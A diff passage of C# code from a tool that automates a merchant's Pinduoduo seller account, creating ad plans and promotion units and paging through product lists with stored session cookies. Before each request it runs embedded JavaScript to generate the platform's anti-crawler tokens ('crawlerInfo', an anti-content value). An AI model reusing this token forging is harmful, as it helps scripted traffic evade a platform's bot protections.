goodInfo.GoodsId + ",\"goodsName\":\"" + goodInfo.Titlte + "\",\"mallId\":" + mallId + ",\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + string wordList = html; + + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + + //url = "https://mms.pinduoduo.com/venus/api/subway/creative/isUnmodifiableTitle"; + //data = "{\"mallId\":" + mallId + ",\"goodsId\":" + goodInfo.GoodsId + ",\"crawlerInfo\":\"" + codex + "\"}"; + //html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + + url = "https://mms.pinduoduo.com/venus/api/goods/image/list"; + refere = "https://mms.pinduoduo.com/exp/searchpromotion/create"; + data = "{\"mallId\":" + mallId + ",\"goodsId\":" + goodInfo.GoodsId + ",\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + string imagelist = html; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + if (planId == 0) + { + url = "https://mms.pinduoduo.com/venus/api/adPlan/create"; + refere = "https://mms.pinduoduo.com/exp/searchpromotion/create"; + data = "{\"mallId\":" + mallId + ",\"maxCost\":1000000000,\"planName\":\"" + randx + "\",\"sceneType\":0,\"planDiscount\":{\"catTemplateId\":null,\"discounts\":[{\"index\":0,\"rate\":1000},{\"index\":1,\"rate\":1000},{\"index\":2,\"rate\":1000},{\"index\":3,\"rate\":1000},{\"index\":4,\"rate\":1000},{\"index\":5,\"rate\":1000},{\"index\":6,\"rate\":1000},{\"index\":7,\"rate\":1000},{\"index\":8,\"rate\":1000},{\"index\":9,\"rate\":1000},{\"index\":10,\"rate\":1000},{\"index\":11,\"rate\":1000},{\"index\":12,\"rate\":1000},{\"index\":13,\"rate\":1000},{\"index\":14,\"rate\":1000},{\"index\":15,\"rate\":1000},{\"index\":16,\"rate\":1000},{\"index\":17,\"rate\":1000},{\"index\":18,\"rate\":1000},{\"index\":19,\"rate\":1000},{\"index\":20,\"rate\":1000},{\"index\":21,\"rate\":1000},{\"index\":22,\"rate\":1000},{\"index\":23,\"rate\":1000}]},\"productType\":1,\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + if (html.Contains("\"success\":false")) + { + Thread.Sleep(3000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + string errorx = BaseRegex.GetStringJson(ref html, "errorMsg"); + LogSave.Add(Name, "商品" + goodInfo.GoodsId + errorx); + if (errorx != null && errorx.Contains("您今天的操作配额已用完,请明天再用")) + { + del("您今天的操作配额已用完,请明天再用"); + return; + } + } + planId = BaseRegex.GetIntJson(ref html, "result"); + } + if (planId == 0) + { + if (html.Contains("您今天的操作配额已用完,请明天再用")) + { + LogSave.Add(Name, "您今天的操作配额已用完,请明天再用"); + return; + } + Thread.Sleep(10 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + planId = BaseRegex.GetIntJson(ref html, "result"); + + } + + + string imageStr = ""; + var mc = BaseRegex.GetMatchRegex(ref imagelist, @"{[^>]+?}"); + for (int j = 0; mc != null && j < mc.Count; j++) + { + if (j > 3) + break; + string list = mc[j].Groups[0].Value; + long imageId = BaseRegex.GetLongJson(ref list, "imageId"); + string imageUrl = BaseRegex.GetStringJson(ref list, "imageUrl"); + int imageWidth = BaseRegex.GetIntJson(ref list, "imageWidth"); + int imageHeight = BaseRegex.GetIntJson(ref list, "imageHeight"); + int priority = BaseRegex.GetIntJson(ref list, "priority"); + int imageType = BaseRegex.GetIntJson(ref list, "imageType"); + imageStr += ",{\"imageId\":" + imageId + + ",\"imageUrl\":\"" + imageUrl + + "\",\"imageWidth\":" + imageWidth + + ",\"imageHeight\":" + imageHeight + + ",\"priority\":" + priority + + ",\"imageType\":" + imageType + + ",\"title\":\"" + goodInfo.Titlte + "\",\"price\":" + goodInfo.Price + ",\"errorInfo\":\"\",\"creativeSpecificationId\":6}"; + } + string creativeList = "[" + imageStr.Substring(1) + "]"; + + string wordStr = ""; + + //for (int j = 0; j < keywordxs.Count; j++) + //{ + // if (j >= 150) + // break; + // string word = keywordxs[j]; + // wordStr += ",{\"bid\": 200,\"mallId\": " + mallId + ",\"word\": \"" + word + "\",\"wordSource\": 2}"; + //} + //if (keywordxs.Count == 0) + //{ + mc = BaseRegex.GetMatchRegex(ref wordList, @"""word"":""([\w\W]+?)"","); + for (int j = 0; mc != null && j < mc.Count; j++) + { + if (j >= 150) + break; + string word = mc[j].Groups[1].Value; + wordStr += ",{\"bid\": 200,\"mallId\": " + mallId + ",\"word\": \"" + word + "\",\"wordSource\": 2}"; + } + //} + + string keywords = "[" + wordStr.Substring(1) + "]"; + ////检查关键词 + //using (IJsEngine jsEngine = new V8JsEngine()) + //{ + // jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + // codex = jsEngine.CallFunction("aaa", "").ToString(); + //} + + //url = "https://mms.pinduoduo.com/venus/api/text/checkCharacter"; + //data = "{\"mallId\":" + mallId + ",\"text\":\"[object Object]\",\"crawlerInfo\":\"" + codex + "\"}"; + //html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + + url = "https://mms.pinduoduo.com/venus/api/subway/unit/create"; + refere = "https://mms.pinduoduo.com/exp/searchpromotion/create"; + data = "{\"mallId\":" + mallId + ",\"planId\":" + planId + + ",\"trackId\":\"\",\"unit\":{\"goodsId\":" + goodInfo.GoodsId + ",\"creativeList\":" + creativeList + ",\"unitBids\":[],\"keywords\":" + keywords + "},\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + string error = BaseRegex.GetStringJson(ref html, "errorMsg"); + if (error != null && error.Contains("您今天的操作配额已用完,请明天再用")) + { + del("您今天的操作配额已用完,请明天再用"); + return; + } + LogSave.Add(Name, "商品" + goodInfo.GoodsId + "推广计划完成"); + PromPlan plan = new PromPlan(); + plan.planName = randx; + plan.goodId = goodInfo.GoodsId; + plan.goodName = goodInfo.Titlte; + plan.status = "推广计划完成"; + if (!string.IsNullOrEmpty(error) && error.Contains("频繁")) + { + Thread.Sleep(20 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + error = BaseRegex.GetStringJson(ref html, "errorMsg"); + } + if (!string.IsNullOrEmpty(error)) + plan.status = error; + if (string.IsNullOrEmpty(error)) + UploadPinduoduoMain.dicPlan.Add(goodInfo.GoodsId, randx); + UploadPinduoduoMain.PromPlanList.Add(plan); + Thread.Sleep(10 * 1000); + } + LogSave.Add(Name, "计划" + randx + "生成完成"); + } + + + + /// + /// 获取在线 + /// + public void GetOnline() + { + Shop.OnlineProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:desc\",\"is_onsale\":" + (isOnline ? 1 : 0) + ",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + try + { + var obj = JsonConvert.DeserializeObject(html); + for (int j = 0; obj != null && j < obj.result.goods_list.Count; j++) + { + var goodInfo = obj.result.goods_list[j]; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = goodInfo.id; + p.GoodsSn = long.Parse(goodInfo.goods_sn); + p.Titlte = goodInfo.goods_name; + p.CatId = goodInfo.cat_id; + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = goodInfo.sold_quantity; + p.ShopName = Shop.ShopName; + string price = goodInfo.sku_group_price[0].ToString(); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + p.OffLine = !isOnline; + if (ReplaceModel) + { + if (p.SaleCount > 0 && UploadPinduoduoMain.NoSold) + { + LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + continue; + } + UploadPinduoduoMain.ProductReplaceTemp.Add(p); + } + if (!Shop.OnlineProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnlineProduct.Add(p); + } + } + catch + { + + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + if (ReplaceModel) + { + if (p.SaleCount > 0) + { + + LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + continue; + } + UploadPinduoduoMain.ProductReplaceTemp.Add(p); + } + if (!Shop.OnlineProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnlineProduct.Add(p); + } + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + //界面数据量太多会卡,处理界面卡的问题 + if (Shop.OnlineProduct.Count > 4000) + Thread.Sleep(1500); + } + LogSave.Add(Name, "获取完成"); + } + /// + /// 获取在线 + /// + public void GetRepeatOnline() + { + List repeatList = new List(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:desc\",\"is_onsale\":" + (isOnline ? 1 : 0) + ",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + } + } + try + { + var obj = JsonConvert.DeserializeObject(html); + for (int j = 0; obj != null && j < obj.result.goods_list.Count; j++) + { + var goodInfo = obj.result.goods_list[j]; + string titlte = goodInfo.goods_name; + repeatList.Add(titlte); + } + } + catch + { + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + string title = BaseRegex.GetStringJson(ref list, "goods_name"); + repeatList.Add(title); + } + } + Thread.Sleep(300); + LogSave.Add(Name, "防标题重复 " + shopName + ",第" + (i + 1) + "页"); + } + if (!UploadPinduoduoMain.ShopTitles.ContainsKey(Shop.ShopName)) + UploadPinduoduoMain.ShopTitles.Add(Shop.ShopName, repeatList); + else + UploadPinduoduoMain.ShopTitles[Shop.ShopName] = repeatList; + LogSave.Add(Name, "获取完成"); + } + + + /// + /// 获取在线 + /// + public void GetArrangeOnline() + { + Shop.OnOrOffArrProduct.Clear(); + int mallId = Shop.MallId; + + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:desc\",\"is_onsale\":" + (isOnline ? 1 : 0) + ",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + ""; + if (minPrice > 0) + { + if (maxPrice == 0) + maxPrice = 1000000000; + data = "{\"order_by\":\"id:desc\",\"sku_price_range\":[" + minPrice * 100 + "," + maxPrice * 100 + "],\"sold_quantity\":[#sold#,1000000000],\"is_onsale\":" + (isOnline ? 1 : 0) + ",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + ""; + } + if (!string.IsNullOrEmpty(arrangeGoodName)) + { + data += ",\"goods_name\":\"" + arrangeGoodName + "\""; + } + data += "}"; + if (UploadPinduoduoMain.JustSales) + data = data.Replace("#sold#", "1"); + else + data = data.Replace("#sold#", "0"); + + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + DelGroupStatus delstatus = new DelGroupStatus(); + delstatus.shopName = Shop.ShopName; + delstatus.goodsCount = allCount; + arrangeStatusList.Add(delstatus); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + try + { + var obj = JsonConvert.DeserializeObject(html); + for (int j = 0; obj != null && j < obj.result.goods_list.Count; j++) + { + var goodInfo = obj.result.goods_list[j]; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = goodInfo.id; + p.GoodsSn = long.Parse(goodInfo.goods_sn); + p.Titlte = goodInfo.goods_name; + p.CatId = goodInfo.cat_id; + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = goodInfo.sold_quantity; + p.ShopName = Shop.ShopName; + string price = goodInfo.sku_group_price[0].ToString(); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + + int favcnt = int.Parse(goodInfo.fav_cnt); + p.favcnt = favcnt; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + p.OffLine = !isOnline; + //if (ReplaceModel ) + //{ + // if (p.SaleCount > 0 && UploadPinduoduoMain.NoSold) + // { + // LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + // continue; + // } + // UploadPinduoduoMain.ProductReplaceTemp.Add(p); + //} + if (JustCollection) + { + if (favcnt <= 0) + continue; + } + if (JustSales) + { + if (p.SaleCount <= 0) + continue; + } + //UploadPinduoduoMain.ProductArrangeTemp.Add(p); + if (!Shop.OnOrOffArrProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnOrOffArrProduct.Add(p); + } + } + catch + { + + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + int favcnt = BaseRegex.GetIntJson(ref list, "fav_cnt"); + p.favcnt = favcnt; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + //if (ReplaceModel) + //{ + // if (p.SaleCount > 0) + // { + + // LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + // continue; + // } + // UploadPinduoduoMain.ProductReplaceTemp.Add(p); + //} + if (JustCollection) + { + if (favcnt <= 0) + continue; + } + if (JustSales) + { + if (p.SaleCount <= 0) + continue; + } + //UploadPinduoduoMain.ProductArrangeTemp.Add(p); + if (!Shop.OnOrOffArrProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnOrOffArrProduct.Add(p); + } + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + ////界面数据量太多会卡,处理界面卡的问题 + //if (Shop.OnOrOffArrProduct.Count > 4000) + // Thread.Sleep(1500); + } + LogSave.Add(Name, "获取完成"); + } + + public void GetAllArrangeOnline() + { + Shop.OnOrOffArrProduct.Clear(); + int mallId = Shop.MallId; + + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:desc\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + ""; + if (minPrice > 0) + { + if (maxPrice == 0) + maxPrice = 1000000000; + data = "{\"order_by\":\"id:desc\",\"sku_price_range\":[" + minPrice * 100 + "," + maxPrice * 100 + "],\"sold_quantity\":[#sold#,1000000000],\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + ""; + } + if (!string.IsNullOrEmpty(arrangeGoodName)) + { + data += ",\"goods_name\":\"" + arrangeGoodName + "\""; + } + data += "}"; + if (UploadPinduoduoMain.JustSales) + data = data.Replace("#sold#", "1"); + else + data = data.Replace("#sold#", "0"); + + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + DelGroupStatus delstatus = new DelGroupStatus(); + delstatus.shopName = Shop.ShopName; + delstatus.goodsCount = allCount; + arrangeStatusList.Add(delstatus); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + try + { + var obj = JsonConvert.DeserializeObject(html); + for (int j = 0; obj != null && j < obj.result.goods_list.Count; j++) + { + var goodInfo = obj.result.goods_list[j]; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = goodInfo.id; + p.GoodsSn = long.Parse(goodInfo.goods_sn); + p.Titlte = goodInfo.goods_name; + p.CatId = goodInfo.cat_id; + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = goodInfo.sold_quantity; + p.ShopName = Shop.ShopName; + string price = goodInfo.sku_group_price[0].ToString(); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + + int favcnt = int.Parse(goodInfo.fav_cnt); + p.favcnt = favcnt; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + p.OffLine = !isOnline; + //if (ReplaceModel ) + //{ + // if (p.SaleCount > 0 && UploadPinduoduoMain.NoSold) + // { + // LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + // continue; + // } + // UploadPinduoduoMain.ProductReplaceTemp.Add(p); + //} + if (JustCollection) + { + if (favcnt <= 0) + continue; + } + if (JustSales) + { + if (p.SaleCount <= 0) + continue; + } + //UploadPinduoduoMain.ProductArrangeTemp.Add(p); + if (!Shop.OnOrOffArrProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnOrOffArrProduct.Add(p); + } + } + catch + { + + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + int favcnt = BaseRegex.GetIntJson(ref list, "fav_cnt"); + p.favcnt = favcnt; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + //if (ReplaceModel) + //{ + // if (p.SaleCount > 0) + // { + + // LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + // continue; + // } + // UploadPinduoduoMain.ProductReplaceTemp.Add(p); + //} + if (JustCollection) + { + if (favcnt <= 0) + continue; + } + if (JustSales) + { + if (p.SaleCount <= 0) + continue; + } + //UploadPinduoduoMain.ProductArrangeTemp.Add(p); + if (!Shop.OnOrOffArrProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnOrOffArrProduct.Add(p); + } + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + ////界面数据量太多会卡,处理界面卡的问题 + //if (Shop.OnOrOffArrProduct.Count > 4000) + // Thread.Sleep(1500); + } + LogSave.Add(Name, "获取完成"); + } + + public void GetResurSalesOnline() + { + Shop.ResurVioSalesProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:desc\",\"is_onsale\":1,\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + + for (int i = 0; i < page; i++) + { + if (i > 5) + break; + if (i != 0) + { + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + } + } + try + { + var obj = 